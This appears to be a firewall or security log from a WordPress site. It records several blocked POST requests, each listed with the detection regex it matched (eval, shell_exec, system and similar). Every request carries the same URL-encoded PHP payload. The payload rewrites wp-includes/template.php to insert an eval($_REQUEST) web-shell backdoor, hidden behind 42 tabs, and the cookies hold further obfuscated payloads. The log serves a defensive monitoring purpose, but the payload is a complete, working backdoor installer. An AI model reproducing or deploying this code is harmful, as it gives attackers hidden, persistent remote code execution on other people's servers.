3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG2fvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nOk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kSJFjn%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:07","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Vl:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kSJFjn%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2027\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIzjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nVl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kSJFjn%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:09","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kSJFjn%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2027\nsec-fetch-site:none\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLxbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nbJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kSJFjn%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:11","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kSJFjn%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2027\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE0ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nGC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kSJFjn%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:13","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kSJFjn%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?1\ncontent-length:2050\nsec-ch-ua-platform:\"Android\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kSJFjn%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:43:15","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kSJFjn%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2027\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDItvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nAX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kSJFjn%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
